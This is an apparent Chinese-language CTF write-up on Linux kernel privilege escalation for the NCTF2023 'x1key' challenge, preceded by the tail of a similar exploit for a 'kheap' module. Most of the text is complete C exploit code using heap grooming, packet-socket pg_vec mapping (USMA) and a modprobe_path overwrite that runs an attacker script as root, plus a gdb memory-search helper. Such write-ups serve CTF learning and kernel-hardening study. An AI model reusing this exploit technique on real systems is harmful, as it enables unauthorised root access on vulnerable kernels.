/home/fake" ); system("/home/fake" ); system("cat /flag" ); } size_t modprobe_path = 0xffffffff82c6c2e0 ;size_t kernel_base = 0xffffffff81000000 , kernel_offset;int main () { int pid; int packet_fd; char *page; char buf[0x20 ]; save_status(); bind_core(0 ); kheap_fd = open("/dev/kheap" , O_RDWR); if (kheap_fd < 0 ) err_msg("Fail to open kheap.ko...." ); add(0 ); set_select(0 ); delete(0 ); stat_fd = open("/proc/self/stat" ,O_RDONLY); if (stat_fd < 0 ) err_msg("Fail to open stat...." ); read(kheap_fd, buf, 0x20 ); print_binary(buf, 0x20 ); kernel_offset = *(size_t *)&buf[0 ] - 0xffffffff8133f980 ; kernel_base = kernel_base + kernel_offset; modprobe_path += kernel_offset; print_addr("kernel_offset" , kernel_offset); print_addr("kernel_base" , kernel_base); print_addr("modprobe_path" , modprobe_path); pid = fork(); if (pid == 0 ){ unshare_setup(); add(0 ); set_select(0 ); add(1 ); delete(0 ); delete(1 ); packet_fd = pagealloc_pad(0x20 /8 , 4096 ); read(kheap_fd, buf, 0x20 ); print_binary(buf, 0x20 ); *(size_t *)&buf[0 ] = modprobe_path & ~((1 << 12 ) - 1 ); write(kheap_fd, buf, 0x20 ); page = mmap(NULL , 0x1000 *(0x20 / 8 ), PROT_READ|PROT_WRITE, MAP_SHARED, packet_fd, 0 ); memset (page, 'b' , 0x10 ); print_addr("page_addr" , page); strncpy (page+0x2e0 , root_script_path, sizeof (root_script_path)); read(kheap_fd, buf, 0x20 ); print_binary(buf, 0x20 ); get_flag(); } wait(0 ); exit (0 ); return 0 ; }
例题:NCTF2023-x1key 参考链接:https://kagehutatsu.com/?p=994
参考链接:https://blog.csdn.net/qq_61670993/article/details/135214431
前置知识 关于这道题不得不重提直接映射区,从下图我们可以知道它的全称是 direct mapping of all physical memory (page_offset_base)
,可以在该区域外的所有内核数据段,代码段,包括用户态数据,都可以从这里找到一份对应的映射页面,而且两者除虚拟地址外,内容完全相同,在改变其中一个页面的内容时,另外一张也会发生变化。
https://elixir.bootlin.com/linux/latest/source/Documentation/arch/x86/x86_64/mm.rst
我们这里为了验证做个测试:
可以看到上图中两个地址处的内容完全相同,但是不知道为啥 pwndbg 没有找到下面直接映射区中的字符串,这里先直接说下面的这个地址就是内核代码段的 /sbin/modprobe
在直接映射区的页面,可以参考开头给出的第一篇参考链接,简单来说就是在开启 kaslr 时,page_offset_base
只会改变 0xffff88800xxxxxxx 地址中的前 36 位。
可以从上图观察到在实际情况下映射页面地址和代码段地址的低 20 位也是相同的 ,但事实是上图中后28 位也是相同的,这可能是在调试时没有开 kaslr 的原因,懒得再去调试。
不管怎么样理解上文中的两处加粗字就够了,再来说说我是怎么在 pwndbg 没有搜到字符串的时候,怎么找到其对应的映射地址,其实根据上面的内容我们也不难理解,只有 21-28 这 8 位是不确定的,所以我们可以写一个 gdb 脚本进行搜索,脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import gdbdef search_memory (start_address, end_address, search_value ): inferior = gdb.selected_inferior() start_address = int (start_address, 16 ) end_address = int (end_address, 16 ) search_value = int (search_value, 16 ) for address in range (start_address, end_address + 1 , 0x100000 ): try : data = inferior.read_memory(address, 8 ) if int .from_bytes(data, byteorder='little' , signed=False ) == search_value: print (f"Found value {hex (search_value)} at address {hex (address)} " ) except gdb.MemoryError: pass start_address = input ("Enter start address (in hex): " ) end_address = input ("Enter end address (in hex): " ) search_value = input ("Enter search value (in hex): " ) search_memory(start_address, end_address, search_value)
静态分析 接下来就可以言归正传分析我们的题目了。
漏洞很简单,给了我们一个四字节的向低地址溢出写,以往我们有高地址 off-by-null 内核提权通杀解法,但是低地址溢出写还是要稍微花点心思。
动态分析 题目没有开 CONFIG_SLAB_FREELIST_RANDOM
(分配几个堆块可以做测试),使得我们可以按顺序分配得到堆块,可是这里要注意的是在通过 USMA 获取 pg_vec 数组时,会产生额外一个 0x20 大小的堆块(分配于 pg_vec 之前),所以这里可以借助 shm_file_data 生成的 0x20 大小的堆块,进行一个提前占位,然后发现就可以正常溢出到 pg_vec 数组了。
1 2 3 4 5 6 7 shm_id = shmget(114514 , 0x1000 , SHM_R | SHM_W | IPC_CREAT); if (shm_id < 0 ) err_msg("shmget!" );shm_addr = shmat(shm_id, NULL , 0 ); if (shm_addr < 0 ) err_msg("shmget!" );add(); shmdt(shm_addr); packet_fd = pagealloc_pad(0x20 /8 , 0x1000 );
简单来说,就是实现了上图中一个小的堆风水,可以正常进行溢出,后面就是正常的 USMA 套路,找 modprobe 地址,然后改为提权程序地址即可。
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <string.h> #include <pthread.h> #include <sys/types.h> #include <sys/wait.h> #include <sys/user.h> #include <sys/msg.h> #include <sys/mman.h> #include <sys/syscall.h> #include <sys/ioctl.h> #include <sys/sem.h> #include <semaphore.h> #include <ctype.h> #include <stdint.h> #include <sys/socket.h> #include <linux/if_packet.h> #include <sys/shm.h> #ifndef ETH_P_ALL #define ETH_P_ALL 0x0003 #endif void err_msg (char *msg) { printf ("\033[31m\033[1m[!] %s \033[0m\n" ,msg); exit (0 ); } void output_msg (char *msg) { printf ("\033[34m\033[1m[+] %s \033[0m\n" ,msg); } void print_addr (char *msg, size_t value) { printf ("\033[35m\033[1m[*] %s == %p\033[0m\n" ,msg,(size_t *)value); } void unshare_setup (void ) { char edit[0x100 ]; int tmp_fd; if (unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET)) err_msg("FAILED to create a new namespace" ); tmp_fd = open("/proc/self/setgroups" , O_WRONLY); write(tmp_fd, "deny" , strlen ("deny" )); close(tmp_fd); tmp_fd = open("/proc/self/uid_map" , O_WRONLY); snprintf (edit, sizeof (edit), "0 %d 1" , getuid()); write(tmp_fd, edit, strlen (edit)); close(tmp_fd); tmp_fd = open("/proc/self/gid_map" , O_WRONLY); snprintf (edit, sizeof (edit), "0 %d 1" , getgid()); write(tmp_fd, edit, strlen (edit)); close(tmp_fd); } void packet_socket_rx_ring_init (int s, unsigned int block_size, unsigned int frame_size, unsigned int block_nr, unsigned int sizeof_priv, unsigned int timeout) { int v = TPACKET_V3; int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof (v)); if (rv < 0 ) puts ("setsockopt(PACKET_VERSION)" ), exit (1 ); struct tpacket_req3 req ; memset (&req, 0 , sizeof (req)); req.tp_block_size = block_size; req.tp_frame_size = frame_size; req.tp_block_nr = block_nr; req.tp_frame_nr = (block_size * block_nr) / frame_size; req.tp_retire_blk_tov = timeout; req.tp_sizeof_priv = sizeof_priv; req.tp_feature_req_word = 0 ; rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof (req)); if (rv < 0 ) perror("setsockopt(PACKET_RX_RING)" ), exit (1 ); } int packet_socket_setup (unsigned int block_size, unsigned int frame_size, unsigned int block_nr, unsigned int sizeof_priv, int timeout) { int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); if (s < 0 ) puts ("socket(AF_PACKET)" ), exit (1 ); packet_socket_rx_ring_init(s, block_size, frame_size, block_nr, sizeof_priv, timeout); struct sockaddr_ll sa ; memset (&sa, 0 , sizeof (sa)); sa.sll_family = PF_PACKET; sa.sll_protocol = htons(ETH_P_ALL); sa.sll_ifindex = if_nametoindex("lo" ); sa.sll_hatype = 0 ; sa.sll_pkttype = 0 ; sa.sll_halen = 0 ; int rv = bind(s, (struct sockaddr *)&sa, sizeof (sa)); if (rv < 0 ) puts ("bind(AF_PACKET)" ), exit (1 ); return s; } int pagealloc_pad (int count, int size) { return packet_socket_setup(size, 2048 , count, 0 , 100 ); } #define root_script_path "/tmp/get_privilege_flag" char * instruction = "#!/bin/sh\nchmod 777 /flag" ;void get_flag () { int root_script_fd = open(root_script_path, O_RDWR | O_CREAT, 0777 ); if (root_script_fd < 0 ) err_msg("fail to create " root_script_path); write(root_script_fd, instruction, 0x1a ); close(root_script_fd); system("chmod 777 " root_script_path); system("echo '\xff\xff\xff\xff' > /tmp/fake" ); system("chmod +x /tmp/fake" ); system("/tmp/fake" ); system("cat /flag" ); } struct x1key_req { int idx; uint32_t content; }; int x1key_fd;void add () { struct x1key_req req ; ioctl(x1key_fd, 0x101 , &req); } void edit (int idx, uint32_t content) { struct x1key_req req = {.idx = idx, .content = content}; ioctl(x1key_fd, 0x102 , &req); } #define PG_VEC_SPRAY_NUM 0x80 size_t modprobe_path = 0xffffffff8212a0c0 ;char *virtual_modprobe_path = NULL ;size_t kernel_base = 0xffffffff81000000 , kernel_offset;int main () { int pid; char *page; int shm_id; int packet_fd; char *shm_addr; x1key_fd = open("/dev/x1key" , O_RDWR); if (x1key_fd < 0 ) err_msg("Fail open /dev/x1key..." ); pid = fork(); if (pid == 0 ){ unshare_setup(); shm_id = shmget(114514 , 0x1000 , SHM_R | SHM_W | IPC_CREAT); if (shm_id < 0 ) err_msg("shmget!" ); shm_addr = shmat(shm_id, NULL , 0 ); if (shm_addr < 0 ) err_msg("shmget!" ); add(); shmdt(shm_addr); packet_fd = pagealloc_pad(0x20 /8 , 0x1000 ); for (int i = 0 ; i < 0x100 ; i++){ int idx = i << 20 ; edit(0 , idx | 0x2a000 ); page = mmap(NULL , 0x1000 *4 , PROT_READ|PROT_WRITE, MAP_SHARED, packet_fd, 0 ); if (page == -1 ) continue ; if (!strcmp (page+0xc0 +0x3000 , "/sbin/modprobe" )) break ; } virtual_modprobe_path = page+0xc0 +0x3000 ; printf ("you find it %p, content ==> %s\n" , virtual_modprobe_path, virtual_modprobe_path); strncpy (virtual_modprobe_path, root_script_path, sizeof (root_script_path)); get_flag(); exit (0 ); } wait(0 ); exit (0 ); return 0 ; }